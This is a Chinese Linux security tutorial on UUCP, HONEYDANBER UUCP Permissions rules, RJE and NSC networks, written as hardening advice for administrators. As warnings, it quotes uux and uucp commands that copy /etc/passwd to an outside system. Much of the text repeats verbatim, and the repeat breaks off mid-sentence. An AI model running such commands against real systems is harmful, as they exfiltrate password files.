当前位置:Linux教程 - Linux - Linux系统安全(四)

Linux系统安全(四)



        
    网络安全

    本文主要讨论网络和数据通讯安全,分为六个部分.第一部分概述最大,最老
    的UNIX网络UUCP系统;第二部分讨论UUCP的安全;第三部分讨论新HONEY DANBER UUCP及安全特点;第四部分讨论其它的UNIX网络,其中包括RJE和NSC;第五部分讨论通讯的物理安全;最后一部分讨论Sun Microsystem公司的Sun OS系统的网络安全.


    1.UUCP系统概述


    UUCP系统是一组程序,完成文件传输,执行系统之间的命令,维护系统使用情

    况的统计,保护安全.UUCP是UNIX系统最广泛使用的网络实用系统,这其中在两个原因:第一,UUCP是各种UNIX版本都可用的唯一的标准网络系统,第二,UUCP是最便宜的网络系统.只需要一根电缆连接两个系统,然后就可建立UUCP.如果需要在相距数百或数千公里远的两个系统间传输数据,中需要两个具有拨号功能的调制解调器.


    (1)UUCP命令

    UUCP命令之一是uucp,该命令用于两系统间的文件传输,uucp命令格式类

    似于cp命令的格式,只是uucp允许用户有系统间拷贝文件,命令的一般格式如下:

    uucp source_file destination_file

    source_file通常是本系统的文件(但不必一定是),destination_file通

    常是另一系统的文件或目录.指定destination_file的格式为:

    system!filename或system!directory.

    uucp给系统管理员提供了一个选项,可以限制传入和传出本系统的uucp文

    件只能传到/usr/spool/uucppublic目录结构中.若告诉uucp将传输的文件存放在其他目录中,系统将会送回一个邮件:remote access to path / file denied. uucp允许以简化符号~代替/usr/spool/uucppublic/.如:

    uucp names remote!~/john/names

    有时也可用uucp将文件从另一个系统拷贝到本系统,只要将要传入本系统

    的文件指定为源文件(用system!file)即可,如:

    uucp remotes!/usr/john/file1 file1

    如果在远地机限制了文件传输的目录,上条命令不能拷贝到文件.拷贝文

    件到本系统的最安全的方法是:在两个系统上都通过uucppublic目录进行文件传输:

    uucp remotes!~/john/file1 ~/pat/file1



    (2)uux命令

    uux命令可用于在另一个系统上执行命令,这一特点称为\"远程命令仞行\".

    uux最通常的用处是在系统之间发送邮件(mail在其内部执行uux).典型的uux

    请求如下:

    pr listing| uux - \"remote1!lp -d pr1\"

    这条命令将文件listing格式编排后,再连接到系统remote1的打印机pr1

    上打印出来.uux的选项\"-\"使uux将本命令的标准输入设备建立为远程命令的标准输入设备.当若干个系统中只有一个系统连接了打印机时,常用uux打印文件.

    当然必须严格地限制远程命令招待,以保护系统安全.如:

    本系统不应允许其它系统上的用户运行下面的命令:

    uux \"yoursys!uucp yoursys!/etc/passwd (outside!~/passwd)\"

    这条命令将使本系统传送/etc/passwd文件到系统outside上,一般地,只

    有几条命令允许地执行.rmail是加限制的mail程序,常常为允许通过uux执行

    的命令之一.也允许rnews(加限制的netnews伪脱机命令)在运行netnews的系

    统上执行,还允许lp在提供了打印设备的系统上运行.



    (3)uucico程序

    uucp和uux命令实际上并不调用另一个系统及传送文件和执行命令,而是

    将用户的请求排入队列,并启动uucico程序.uucico完成实际的通讯工作.它调

    用其它的系统,登录,传送数据(可以是文件或请求远程命令执行).如果电话线

    忙,或其它系统已关机,传输请求仍针保留在队列中,uucico后续的职能操作

    (通常是cron完成)将发送这些传输请求.

    uucico完成数据的发送和接收.在本系统的/etc/passwd文件中,有其它系

    统的uucico登录进入本系统的入口项,该入口项中指定的缺省shell是uucico.

    因此,其它系统调用本系统时,直接与uucico对话.



    (4)uuxqt程序

    当另一系统的uucico调用本系统请求远程命令执行时,本系统的uucico将

    该请求排入队列,并在退出之前,启动uuxqt程序执行远程命令请求.

    下面举例说明数据是如何传输的.假设本系统的一个用户发送邮件给另一

    远程系统remote1的某人,mail会执行uux,在remote1系统上远程地运行remail

    程序,要传送的邮件为remail命令的输入.uux将传输请求排入队列,然后启动

    uucico招待实际的远程调用和数据传输.如果remote1响应请求,uucico登录到

    remote1,然后传送两个文件:邮件和将在remote1上由uuxqt执行的uux命令文

    件.uux命令文件中含有运行remail请求.如果remote1在被调时已关机,uucico

    则将无法登和传送文件,但是cron会周期地(1小时)启动uucico.uucico查找是

    否有还未传送出的数据,若发现uux指定的传输目标系统是remote1,就尝试再

    调用remote1,直到调通remote1为止,或者过了一定天数仍未调通remote1,未

    送出的邮件将作为\"不可投递\"的邮件退回给发送该邮件的用户.



    2.UUCP的安全问题


    UUCP系统未设置限制,允许任何本系统外的用户执行任何命令和拷贝进/出

    uucp用户可读/写的任何文件.在具体的uucp应用环境中应了解这点,根据需要设

    置保护.

    在UUCP中,有两个程序处理安全问题.第一个是uucico程序,该程序在其它系

    统调用本系统时启动.这个程序是本系统uucp安全的关键,完成本系统文件传输

    的传进和传出.第二个程序是uuxqt,该程序为所有的远程命令执行服务.



    (1)USERFILE文件

    uucico用文件/usr/lib/uucp/USERFILE确定远程系统发送或接收什么文

    件,其格式为:

    login,sys[c] path_name [path_name...]

    其中login是本系统的登录名,sys是远程系统名,c是可选的call_back标

    志,path_name是目录名.

    uucico作为登录shell启动时,将得到远程系统名和所在系统的登录名,并

    在USERFILE文件中找到匹配login和sys的行.如果该行含有call_back标志c,

    uucico将不传送文件,连接断开,调用远程系统(即,任何系统可以告诉本系统

    它的名是xyz,于是本系统挂起,调用实际的xyz执行文件传输),若无c,uucico

    将执行远程系统请求的文件传送,被传送的文件名被假定为以path_name开头

    的.

    用户需要了解以下几点:

    . 如果远程系统使用的登录名未列于USERFILE的登录域中,uucico将拒绝

    允许其它系统做任何事,并挂起.

    . 如果系统名未列于sys域中,uucico将使用USERFILE中有匹配的登录名

    和空系统名的第一行,如:nuucp,/usr/spool/uucppublic应用到作为

    nuucp登录的所有系统.cbuucp,c将迫使作为cbuucp登录的所有系统自

    己执行文件传输的请求.若调用系统名不匹配sys系统中的任何一个,并

    且无空入口项,uucico也将拒绝做任何事.

    . 若两个机器都设置了call_back标志,传送文件的请求决不会被执行,两

    个系统一直互相调用,直到两个系统中的一个取消call_back时,才能进

    行文件传送.

    . 如果一个用户的登录名列于USERFILE文件的login域中,则当调用本系

    统的uucico为该用户传送文件时,uucico只传送至path_name指定的目

    录中的文件.空登录名用于所有未明确列于USERFILE文件中的用户进行

    登录.所以

    pat,/usr/pat

    只允许pat传送/usr/pat目录结构中的文件.

    ,/usr/spool/uucppublic /tmp

    其他用户仅允许传送目录/usr/spool/uucppublic和/tmp中的文件.

    不要允许uucico将文件拷进/出到除了/usr/spool/uucppublic目录以

    外的其它任何目录,否则可能会有人用下面的命令拷贝走本系统的重要

    信息:

    uucp yoursys!/etc/passwd to-creep



    (2)L.cmds文件

    uuxqt利用/usr/lib/uucp/L.cmds文件确定要执行的远程执行请求命令.

    该文件的格式是每行一条命令.如果只需uuxqt处理电子邮件,该文件中就只须

    一行命令:

    rmail

    系统管理员可允许登录用户执行netnews(rnews)的命令或远程打印命令

    (lp),但决不能允许用户执行拷贝文件到标准输出的命令,如cat命令或网络命

    令uucp,否则这些人只需在他们自己的系统上敲入:

    uux \"yoursys!uucp yoursys!/etc/passwd (outside!~/passwd)\"

    然后就可等待本系统发送出命令文件.



    (3)uucp登录

    UUCP系统需要两个登录户头,一个是其它系统登录的户头,另一个是系统

    管理使用的户头.例如,数据传输登录户头是nuucp,管理登录户头是uucp,则在

    /etc/passwd文件中应当有二行.

    UID和GID的5号通常留给uucp,由于uucico具有管理登录的SUID许可,因此

    nuucp户头的UID和GID应当用其它值.



    (4)uucp使用的文件和目录

    /usr/lib/uucp用于存放不能由用户直接运行的各种uucp,如uuxqt和

    uucico.该目录还含有若干个确定uucp如何操作的文件,如L.cmds和USERFILE.

    这些文件只能对uucp管理户头可写(系统管理员一定不愿让用户更改远程可执

    行命令表):根据安全的观点,该目录中另一个系统管理员必须清楚的文件是

    L.sys.该文件中含有uucico能调用的每个系统的入口项.入口项数据包括

    uucico所调用系统的电话号码,登录名,未加密的口令.不用说,L.sys应当属于

    uucp管理户头所有,且应当具有400或600存取许可.

    uucp用/usr/spool/uucp目录存放工作文件.文件名以C.开头的文件是送

    到其它系统的命令文件,含有在其它系统上拷入/出数据和执行命令的请求.文

    件名以D.开头的文件用作C.文件的数据文件.文件名以X.开头的文件是来自其

    它系统的远程执行请求,由uuxqt解释.文件名以TM.开始的文件是从其它系统

    传送数据到本系统过程中uucp所使用的暂存文件.XQTDIR是uuxqt用于执行X.

    文件的目录.LOGFILE可有助于管理uucp的安全,它含有执行uucp请求成功与否

    的信息.系统管理员可时常查看该文件,了解有哪些系统正登录入本系统执行

    uucp请求?是什么请求?特别要检查这些请求是否试图做不允许的操作.


    3.HONEYDANBER UUCP


    有两个主要的UUCP版本,第一个是与UNIX系统V一起颁布的,在本节将称为老

    UUCP,另一个版本称为HONEYDANBER UUCP,由AT&T颁布.

    HONEYDANBER UUCP较之老UUCP有若干改进:

    〈1〉支持更多的拨号和网络:

    . 智能自动拨号调制解调器以及标准AT&T技术的801自动拨号器.

    . 网络,如DATAKIT VCS,UNET/ETHERNET, 3COM/ETHERNET, SYTEK, TCP

    (BSD UNIX系统).

    . 连接到LAN的拨号器.

    . X.25永久性虚拟环网(用X.25协议)

    〈2〉重新组织了/usr/spool/uucp目录,在该目录下,对每个远程系统有一个

    目录.

    〈3〉加强了安全.

    . USERFILE和L.cmds文件组合成一个文件Permissions.

    . 可以在一级级系统上指定远程可执行命令.

    . 可分别控制文件传入和文件传出.

    . 缺省的安全设置很严格.



    (1)HONEYDANBER UUCP与老UUCP的差别

    HONEYDANBER UUCP中的/usr/lib/uucp/Systems文件是原来UUCP中的

    /usr/lib/uucp/L.sys.HONEYDANBER UUCP中/usr/spool/uucp/.log下的一个

    目录代替了老UUCP的文件/usr/spool/uucp/logFILE./usr/spool/uucp/.log

    中的目录uucico,uucp,uux,uuxqt含有相应命令的记录文件,各目录对应最近

    处于活跃状态的远程系统都有一个记录文件(记录文件在这些目录中通常保存

    一个星期).

    如果一个调用本系统的远程系统未列于Systems文件中,uucico将不允许

    该远程系统执行任何操作,而是启动shell程序/usr/lib/uucp/remote.unknown,

    由UUCP提供的该shell程序的缺省版本将在/usr/spool/uucp/.Admin/Foreign

    文件中记下远程系统的登录时间,日期及系统名.只要使remote.unknown不可

    执行,就能禁止这一操作,以达到与老UUCP兼容.

    C.,D.,X.,TM.等文件存放在/usr/spool/uucp下的不同目录中,目录名就

    是文件对应的远程系统名.

    在HONEYDANBER UUCP中USERFILE与L.cmds文件合并在一起,这个新文件

    /usr/lib/uucp/Permissions提供了更灵活的授予外系统存取许可的控制.文

    件中的规则表定义了可以发出请示的各种系统.规则与选项的格式如下.

    rule=list option=yes|no option=list...

    其中rule是登录名或机器名,list是用以分隔各项的规则表(表中各项随

    rule或option而变),option是下边将讨论的各选项之一,或为一个选项表,或

    只取yes/no决定允许/不允许一项操作.



    (2)登录名规则

    LOGNAME规则用于控制作为登录shell启动的uucico.

    LOGNAME=nuucp

    指定对所有登录到nuucp户头下的系统加缺省限制:

    . 远程系统只能发送文件到/usr/spool/uucppublic目录中.

    . 远程系统不能请求接收任何文件.

    . 当uucico调用远程系统时,才发送已排入队列要发送到该远程系统的文

    件.这是uucico准确地识别远程系统的唯一方法(任何系统都可调用本

    系统并冒充是xyz系统).

    . 由uuxqtux远程系统的名义可执行的命令是缺省规定的命令,这些缺省

    命令在编译时定义(通常只有rmail,rnews命令).

    . 可用冒号分隔开若干个其它系统的uucico的登录户头.

    LOGNAME=nuucp:xuucp:yuucp

    任何设有LOGNAME规则的系统,若要登录请求UUCP传送,都会被回绝(系统

    将给信息\"get lost\",并挂起).

    一个LOGNAME规则就足够启动HONEYDANBER UUCP系统.事实上,当该系统运

    行时,将在Permissions文件中放一个无选项的LOGNAME规则,该规则应用于在

    /etc/passwd文件入口项shell域中有/usr/lib/uucp/uucico的所有登录户头.

    可使用若干选择忽略缺省限制,这些选项可组合,允许或限制各种操作.例

    如可用WRITE选项指定一个或多个送入文件的目录,而不用被限制送入

    /usr/spool/uucppublic目录.

    LOGNAME=nuucp WRITE=/

    这一规则允许文件送入本系统的任何目录.2-4项的限制依然保持.注意:

    远程UUCP请求可重写任何有写许可的文件,可指定多个写入文件的目录.用冒

    号分隔开:

    LOGNAME=nnuucp WRITE=/usr:/floppy

    该规则允许远程系统将文件写到/usr和/floppy目录中.

    用REQUEST=yes选项可允许远程系统的用户从本系统拷贝文件.

    LOGNAME=nuucp REQUEST=yes

    能被拷贝的文件只能是存放在/usr/spool/uucppublic目录中的文件,1,

    3,4,项的限制仍然有效.若要允许远程系统可从其它目录拷贝文件,用READ选

    择:

    LOGNAME=nuucp REQUEST=yes READ=/usr

    该规则允许远程系统拷贝/usr目录中任何其他人可读的文件.也可像

    WRITE选项一样指定目录表.

    用SENDFILES=yes选项可允许uucico在远程系统调用本系统时发送出已排

    队的文件.

    LOGNAME=nuucp SENDFILES=yes

    1,2,4项的限制依然有效.

    用CALLBACK=yes选项迫使任何登录到指定户头的系统call back.

    注意:CALLBACK=yes不能与其它选项组合作用.如果其它选项与这条选项

    列在一起,其它选项将被忽略.

    NOREAD和NOWRITE选项可分别与READ和WRITE选项一起使用.指定NOREAD选

    项下的目录表,可建立对READ选项的例外处理(即指出READ目录中不能由远程

    系统请求的目录),例如:

    LOGNAME=nuucp,REQUEST=yes READ=/ NOREAD=/etc

    该规则允许远程系统请求系统中任何其他人可读的文件,但不包括/etc中

    的文件,NOWRITE,WRITE的联合用法与上类似.

    一般来说,不要将缺省限制改得太多.若本系统被另一系统调去存贮电话

    费用或系统管理员没有办法拨出,可以用SENDFILE选项.若要对某些机器取消

    限制,则应当建立一个仅用于那些机器的uucico登录户头.例如:

    LOGNAME=nuucp SENDFILES=yes

    LOGNAME=trusted SENDFILES=yes REQUEST=yes READ=/ WRITE=/

    上面的规则允许在trusted户头下登录的系统在本系统中具有另一种文件

    存取许可,nuucp户头的口令应送给所有要与本系统uucp建立连接的系统管理

    员,trusted户头的口令则只能送给信任系统的管理员.

    如系统有信任和非信任的uucp户头,最好用PUBDIR选项为这两种户头建立

    不同的公共户头,PUBDIR允许系统管理员改变uucico对公共目录的概念(缺省

    为/usr/spool/uucppublic).例如:

    LOGNAME=nuucp SENDFILES=yes REQUEST=yes \\

    PUBDIR=/usr/spool/uucppublic/nuucp

    LOGNAME=trusted SENDFILES=yes REQUEST=yes READ=/ WRITE=/ \\

    PUBDIR=/usr/spool/uucppublic/trusted

    上面的选项使要送到公共目录中的文件,对于不同登录nuucp和trusted分

    别放入不同的目录中.这将防止登录到nuucp的非信任系统在信任系统的公共

    目录中拷进和拷出文件(注意:上面的选项允许nuucp请求文件传送).行尾倒斜

    杠指明下一行是该行的续行.

    用MYNAME选项可以给登录进某一户头的系统赋与一个系统名:

    LOGNAME=Xuucp MYNAME=IOnker



    (3)MACHINE规则

    MACHINE规则用于忽略缺省限制,在MACHINE规则中指定一个系统名表,就

    可使uucico调用这些系统时改变缺省限制.READ,WRITE,REQUEST,NOREAD,

    NOWRITE,PUBDIR选项的功能与LOGNAME相同.忽略CALLBACK,SENDFILES选项,

    MYNAME选项所定义的必须与LOGNAME规则联用,指定将赋给调用系统的名,该名

    仅当调用所定义的系统时才用.

    MACHINE规则的格式如下:

    MACHINE=zuul:gozur:enigma WRITE=/ READ=/

    这条规则使远程系统zuul,gozar,enigma能够发送/请求本系统上任何其

    他人可读/写的文件.一般不要让远程系统在除/usr/spool/uucppublic目录外

    的其它目录读写文件,因此,对于信任的系统也要少用MACHINE规则.

    系统名OTHER用于为指定用户外的所有其他用户建立MACHINE规则.

    COMMANDS选项用于改变uuxqt通过远程请求执行的缺省命令表.

    MACHINE=zuul COMMANDS=rmail:rnews:lp

    上面的选项允许系统zuul请求远程执行命令rmail,rnews,lp.uucico不用

    这个选项.uuxqt用该选项确定以什么系统的名义执行什么命令.

    COMMANDS选项所指定的命令将用缺省设置的路径PATH.PATH在编辑uuxqt

    时被建立通常设置为/bin:/usr/bin.在COMMANDS选项中给出全路径名可以忽

    略缺省PATH.

    MACHINE=zuul COMMANDS=umail:/usr/local/bin/rnews:lp

    同样地,对HONEYDANBER UUCP也应当象老UUCP一样不允许远程系统运行

    uucp或cat这样的命令.任何能读写文件的远程执行命令都可能威胁局域安全.

    虽然局域系统对远程系统名进行一定程序的校核,但是任何远程系统在调用局

    域系统时都可自称是\"xyz\",而局域系统却完全相信是真的.因此局域系统的系

    统可能认为只允许了zuul运行lp命令.但实际上任何自称是zuul的系统也被允

    许运行lp命令.

    有两种方法可以证实系统的身份.一种方法是拒绝用CALLBACK=yes与调用

    系统对话.只要电话和网络线未被破密或改变,局域系统就能肯定地确认远程

    系统的身份.另一种方法是在LOGNAME规则中用VALIDATE选项.

    若必须允许某些系统运行\"危险\"的命令,可联用COMMANDS和VALIDATE选项,

    VALIDATE选项用于LOGNAME规则中指定某系统必须登录到LOGNAME规定的登录

    户头下:

    LOGNAME=trusted VALIDATE=zuul

    MACHINE=COMMANDS=rmail:rnews:lp

    当一个远程系统自称是zuul登录时,uucico将查Permissions文件,找到

    LOGNAME=trusted规则中的VALIDATE=zuul,若该远程系统使用了登录户头

    trusted,uucico将认为该系统的确是zuul继续往下执行,否则uucico将认为该

    系统是假冒者,拒绝执行其请求.只要唯有zuul有trusted户头的登录口令,其

    它系统就不能假冒它.仅当登录口令是保密的,没有公布给其他非信任的系统

    管理员或不安全的系统,VALIDATE选项才能奏效.如果信任系统的登录口令泄

    漏了,则任何系统都可伪装为信任系统.

    在COMMANDS选项中给出ALL时,将允许通过远程请求执行任何命令.因此,

    不要使用ALL!规定ALL实际上就是把自己的户头给了远程系统上的每一个用户.



    (4)组合MACHINE和LOGNAME规则

    将MACHINE和LOGNAME规则组合在一行中,可以确保一组系统的统一安全,

    而不管远程系统调用局域系统还是局域系统调用远程系统.

    LOGNAME=trusted MACHINE=zuul:gozur VALIDATE=zuul:gozur \\

    REQUEST=yes SENDFILES=yes \\

    READ=/ WRITE=/ PUBDIR=/usr/spool/trusted \\

    COMMANDS=rmail:rnews:lp:daps



    (5)uucheck命令

    一旦建立了Permissions文件,可用uucheck -v命令了解uucp如何解释该

    文件.其输出的前几行是确认HONEYDANBER UUCP使用的所有文件,目录,命令都

    存在,然后是对Permissions文件的检查.



    (6)网关(gateway)

    邮件转送可用于建立一个gateway机器.gateway是一个只转送邮件给其它

    系统的系统.有了gateway,使有许多UNIX系统的部门或公司对其所有用户只设

    一个电子邮件地址.所有发来的邮件都通过gateway转送到相应的机器.

    gateway也可用于加强安全:可将MODEM连接到gateway上,由gateway转送

    邮件的所有系统通过局域网或有线通讯线与gateway通讯.所有这些局域系统

    的电话号码,uucp登录户头,口令不能对该组局域系统外的系统公布.如果有必

    要,可使gateway是唯一连接了MODEM的系统.

    建立一个最简单的gateway是很容易的:对每个登录进系统,想得到转送邮

    件的用户,只需在文件/usr/mail/login中放入一行:

    Forward to system !login

    要发送给户头login的邮件进入gateway后,将转送给登录在系统system的

    户头login下的用户.两个登录名可以不同.

    gateway建立了一个安全管理的关卡:gateway的口令必须是不可猜测的,

    gateway应尽可能只转送邮送而不做别的事.至少不要将重要数据存放在该机

    上.在gateway上还应做日常例行安全检查,并且要对uucp的登录进行仔细的检

    查.

    gateway也为坏家伙提供了一个入口:如果有人非法进入了gateway,他将

    通过uucp使用的通讯线存取其它的局域系统和存取含有关于其它局域系统uucp

    信息的Systems文件.若这人企图非法进入其它系统,这些信息将对他具有很大

    的用处.

    经验:

    . 若要建立gateway,应确保其尽可能的无懈可击.

    . 可在gateway和局域系统间建立uucp连接,使得局域系统定期的与gateway

    通讯获取邮件,而gateway完全不用调用局域系统.这样做至少能防止一

    个坏家伙通过gateway非法进入局域系统.

    . 利用局域系统的Permissions文件对gateway的行为加以限制,使其裸露

    程度达到最小,即只转发邮件.这样可使窃密者不能利用gateway获取其

    它系统的文件.



    (7)登录文件检查

    HONEYDANBER UUCP自动地将登录信息邮给uucp.login文件,应当定期地读

    这个文件.系统管理员应当检查那些不成功的大量请求,特别是其它系统对本

    系统的文件请求.还要检查不允许做的远程命令执行请求.登录信息都保存在

    文件中,如果要查看,可用grep命令查看./usr/spool/uucp/.Log/uucico/system

    文件中含有uucico登录,/usr/spool/uucp/.Log/uuxqt/system文件含有uuxqt

    登录.下面一行命令将打印出uuxqt执行的所有命令(rmail除外):

    grep -v rmail /usr/spool/uucp/.Log/uuxqt/*

    下面一行命令将打印所有对本系统文件的远程请求:

    grep -v REMOTE /usr/spool/uucp/.Log/uucico/* | grep \"〈\"

    总之,HONEYDANBER UUCP比老UUCP提供了更强的安全性,特别是提高了远

    程命令执行的安全性.


    4.其它网络


    (1)远程作业登录(RJE)

    RJE(remote job entry)系统提供了一组程序及相应的硬件,允许UNIX系

    统与IBM主机上的JES(job entry subsystems)通讯.可通过两条命令的send和

    usend存取RJE.send命令是RJE的通用的作业提供程序,它将提供文件给JES,就

    好像这些作业文件是从卡片阅读机读入的\"穿孔卡片\"一样.usend命令用于在

    使用了RJE系统的UNIX系统间传送文件,它将建立一个\"作业\"(虚拟的一叠穿孔

    卡片),并以send命令的送文件的同样方式将该作业提供给JES.该作业卡片叠

    中的控制卡告诉JES数据传送到何处(这里,数据是正被传送的文件).文件传送

    的目的地是UNIX系统,但JES认为是一个\"行式打印机\".RJE系统通常以每秒

    9600位的速率与JES通讯.典型的usend命令句法如下:

    usend -d system -u login file(s)

    system是挂到IBM JES上的另一个UNIX系统名,login是另一个系统上的接

    收用户的登录名,file(s)是用户希望传送的文件.

    几个关于RJE的安全问题:

    . 缺省时,RJE将把文件传送到接收用户的HOME目录中的rje目录.该目录

    必须对其他人可写,可执行,这意味着存入rje目录的文件易受到检查,

    移动,修改.然而如果该目录的许可方式是733,其他用户就不能用ls列

    目录内容寻找感兴趣的文件.被建立的文件对所有者,小组或其他人都

    是可读的,所以通过RJE网络传送的安全文件在系统上都是可读的.为什

    么这些问题不同于UUCP和/usr/uucppublic目录?

    * UUCP定期地清除/usr/spool/uucppublic目录的内容,几天前或几星

    期前的老文件将被删除,通常用户将把自己的文件移出uucppublic目

    录,以免文件被删除,而存在用户rje目录中的文件不会被清除,所以

    有些用户从来不把自己的文件移到其它目录.

    * 用户清楚地知道uucppublic目录是一个公共目录,存入重要信息之前,

    首先注意将其加密.但是用户却总是容易忘记自己rje目录实际上也

    是公共目录,经常忘记将重要文件加密.

    . usend命令在其他人可写的目录中建立文件,并重写其他人可写的文件.

    . RJE服务子程序是执行一些功能而不是执行文件传送.RJE系统像UUCP一

    样也执行远程命令,运行RJE的大多数系统用远程命令执行转送电子邮

    件.因为RJE的传输率通常比UUCP更高.遗憾的是RJE没有像UUCP那样的

    能力限制能执行的命令和能存取的文件.一个好的经验是将连接到同一

    个JES的一组系统,看作这些系统是在同一系统上.



    (2)NSC网络系统

    NSC(network systems corporation)宽信道网络是一个高速局域网络

    (LAN).NSC可将数千个最远相距5000英尺的系统挂在一起,传输速率可高达

    50MBIT/S,NSC也可通过的通讯如微波或人造卫星通讯线连接不同系统.

    UNIX用户可通过nusend命令存取NSC宽信道,nusend命令的句法与usend命

    令相同,除用-c选项传送其他人不可存取的文件外,大多数情况下,nusend的用

    法与usend是一样的,换言之,如果无-c选项,文件就是可读的,而且文件路径名

    中列出所有目录对其他人也都是可搜索的,前边讨论过的关于RJE的安全问题

    的考虑也适合于NSC网络.

    可查看NSC记录文件,了解NSC是否正在执行任何不应执行的命令.记录文

    件保存在目录/usr/nsc/log中.下面的命令将打印出所有由NSC在本系统上执

    行的命令(rmail除外):

    grep execute /usr/nsc/log/LOGFILE|grep -v rmail

    网络安全



    本文主要讨论网络和数据通讯安全,分为六个部分.第一部分概述最大,最老

    的UNIX网络UUCP系统;第二部分讨论UUCP的安全;第三部分讨论新HONEY DANBER

    UUCP及安全特点;第四部分讨论其它的UNIX网络,其中包括RJE和NSC;第五部分讨

    论通讯的物理安全;最后一部分讨论Sun Microsystem公司的Sun OS系统的网络

    安全.


    1.UUCP系统概述


    UUCP系统是一组程序,完成文件传输,执行系统之间的命令,维护系统使用情

    况的统计,保护安全.UUCP是UNIX系统最广泛使用的网络实用系统,这其中在两个

    原因:第一,UUCP是各种UNIX版本都可用的唯一的标准网络系统,第二,UUCP是最

    便宜的网络系统.只需要一根电缆连接两个系统,然后就可建立UUCP.如果需要在

    相距数百或数千公里远的两个系统间传输数据,中需要两个具有拨号功能的调制

    解调器.


    (1)UUCP命令

    UUCP命令之一是uucp,该命令用于两系统间的文件传输,uucp命令格式类

    似于cp命令的格式,只是uucp允许用户有系统间拷贝文件,命令的一般格式如

    下:

    uucp source_file destination_file

    source_file通常是本系统的文件(但不必一定是),destination_file通

    常是另一系统的文件或目录.指定destination_file的格式为:

    system!filename或system!directory.

    uucp给系统管理员提供了一个选项,可以限制传入和传出本系统的uucp文

    件只能传到/usr/spool/uucppublic目录结构中.若告诉uucp将传输的文件存

    放在其他目录中,系统将会送回一个邮件:remote access to path / file

    denied. uucp允许以简化符号~代替/usr/spool/uucppublic/.如:

    uucp names remote!~/john/names

    有时也可用uucp将文件从另一个系统拷贝到本系统,只要将要传入本系统

    的文件指定为源文件(用system!file)即可,如:

    uucp remotes!/usr/john/file1 file1

    如果在远地机限制了文件传输的目录,上条命令不能拷贝到文件.拷贝文

    件到本系统的最安全的方法是:在两个系统上都通过uucppublic目录进行文件

    传输:

    uucp remotes!~/john/file1 ~/pat/file1



    (2)uux命令

    uux命令可用于在另一个系统上执行命令,这一特点称为\"远程命令仞行\".

    uux最通常的用处是在系统之间发送邮件(mail在其内部执行uux).典型的uux

    请求如下:

    pr listing| uux - \"remote1!lp -d pr1\"

    这条命令将文件listing格式编排后,再连接到系统remote1的打印机pr1

    上打印出来.uux的选项\"-\"使uux将本命令的标准输入设备建立为远程命令的

    标准输入设备.当若干个系统中只有一个系统连接了打印机时,常用uux打印文

    件.

    当然必须严格地限制远程命令招待,以保护系统安全.如:

    本系统不应允许其它系统上的用户运行下面的命令:

    uux \"yoursys!uucp yoursys!/etc/passwd (outside!~/passwd)\"

    这条命令将使本系统传送/etc/passwd文件到系统outside上,一般地,只

    有几条命令允许地执行.rmail是加限制的mail程序,常常为允许通过uux执行

    的命令之一.也允许rnews(加限制的netnews伪脱机命令)在运行netnews的系

    统上执行,还允许lp在提供了打印设备的系统上运行.



    (3)uucico程序

    uucp和uux命令实际上并不调用另一个系统及传送文件和执行命令,而是

    将用户的请求排入队列,并启动uucico程序.uucico完成实际的通讯工作.它调

    用其它的系统,登录,传送数据(可以是文件或请求远程命令执行).如果电话线

    忙,或其它系统已关机,传输请求仍针保留在队列中,uucico后续的职能操作

    (通常是cron完成)将发送这些传输请求.

    uucico完成数据的发送和接收.在本系统的/etc/passwd文件中,有其它系

    统的uucico登录进入本系统的入口项,该入口项中指定的缺省shell是uucico.

    因此,其它系统调用本系统时,直接与uucico对话.



    (4)uuxqt程序

    当另一系统的uucico调用本系统请求远程命令执行时,本系统的uucico将

    该请求排入队列,并在退出之前,启动uuxqt程序执行远程命令请求.

    下面举例说明数据是如何传输的.假设本系统的一个用户发送邮件给另一

    远程系统remote1的某人,mail会执行uux,在remote1系统上远程地运行remail

    程序,要传送的邮件为remail命令的输入.uux将传输请求排入队列,然后启动

    uucico招待实际的远程调用和数据传输.如果remote1响应请求,uucico登录到

    remote1,然后传送两个文件:邮件和将在remote1上由uuxqt执行的uux命令文

    件.uux命令文件中含有运行remail请求.如果remote1在被调时已关机,uucico

    则将无法登和传送文件,但是cron会周期地(1小时)启动uucico.uucico查找是

    否有还未传送出的数据,若发现uux指定的传输目标系统是remote1,就尝试再

    调用remote1,直到调通remote1为止,或者过了一定天数仍未调通remote1,未

    送出的邮件将作为\"不可投递\"的邮件退回给发送该邮件的用户.



    2.UUCP的安全问题


    UUCP系统未设置限制,允许任何本系统外的用户执行任何命令和拷贝进/出

    uucp用户可读/写的任何文件.在具体的uucp应用环境中应了解这点,根据需要设

    置保护.

    在UUCP中,有两个程序处理安全问题.第一个是uucico程序,该程序在其它系

    统调用本系统时启动.这个程序是本系统uucp安全的关键,完成本系统文件传输

    的传进和传出.第二个程序是uuxqt,该程序为所有的远程命令执行服务.



    (1)USERFILE文件

    uucico用文件/usr/lib/uucp/USERFILE确定远程系统发送或接收什么文

    件,其格式为:

    login,sys[c] path_name [path_name...]

    其中login是本系统的登录名,sys是远程系统名,c是可选的call_back标

    志,path_name是目录名.

    uucico作为登录shell启动时,将得到远程系统名和所在系统的登录名,并

    在USERFILE文件中找到匹配login和sys的行.如果该行含有call_back标志c,

    uucico将不传送文件,连接断开,调用远程系统(即,任何系统可以告诉本系统

    它的名是xyz,于是本系统挂起,调用实际的xyz执行文件传输),若无c,uucico

    将执行远程系统请求的文件传送,被传送的文件名被假定为以path_name开头

    的.

    用户需要了解以下几点:

    . 如果远程系统使用的登录名未列于USERFILE的登录域中,uucico将拒绝

    允许其它系统做任何事,并挂起.

    . 如果系统名未列于sys域中,uucico将使用USERFILE中有匹配的登录名

    和空系统名的第一行,如:nuucp,/usr/spool/uucppublic应用到作为

    nuucp登录的所有系统.cbuucp,c将迫使作为cbuucp登录的所有系统自

    己执行文件传输的请求.若调用系统名不匹配sys系统中的任何一个,并

    且无空入口项,uucico也将拒绝做任何事.

    . 若两个机器都设置了call_back标志,传送文件的请求决不会被执行,两

    个系统一直互相调用,直到两个系统中的一个取消call_back时,才能进

    行文件传送.

    . 如果一个用户的登录名列于USERFILE文件的login域中,则当调用本系

    统的uucico为该用户传送文件时,uucico只传送至path_name指定的目

    录中的文件.空登录名用于所有未明确列于USERFILE文件中的用户进行

    登录.所以

    pat,/usr/pat

    只允许pat传送/usr/pat目录结构中的文件.

    ,/usr/spool/uucppublic /tmp

    其他用户仅允许传送目录/usr/spool/uucppublic和/tmp中的文件.

    不要允许uucico将文件拷进/出到除了/usr/spool/uucppublic目录以

    外的其它任何目录,否则可能会有人用下面的命令拷贝走本系统的重要

    信息:

